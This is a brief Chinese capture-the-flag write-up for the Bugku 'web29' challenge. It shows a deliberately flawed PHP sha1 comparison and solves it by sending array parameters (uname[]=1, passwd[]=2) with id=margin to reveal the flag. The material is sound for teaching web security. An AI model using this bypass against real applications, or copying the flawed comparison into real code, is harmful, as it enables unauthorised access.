新bugku web29各种绕过

新bugku web29

 <?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else

        print 'sorry!';

}
?> 

• urldecode()
  urlencode()函数原理就是首先把中文字符转换为十六进制，然后在每个字符前面加一个标识符%。一般用在url链接地址编码。
  urldecode()函数与urlencode()函数原理相反，用于解码已编码的 URL 字符串，其原理就是把十六进制字符串转换为中文字符。

解答：

1.$_GET['id'] = urldecode($_GET['id']); 将十六进制转为中文字符。
2、这道题与bugku urldecode二次解码不同，此时直接为

else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

所以直接构造

？uname[]=1&&id=margin
passwd[]=2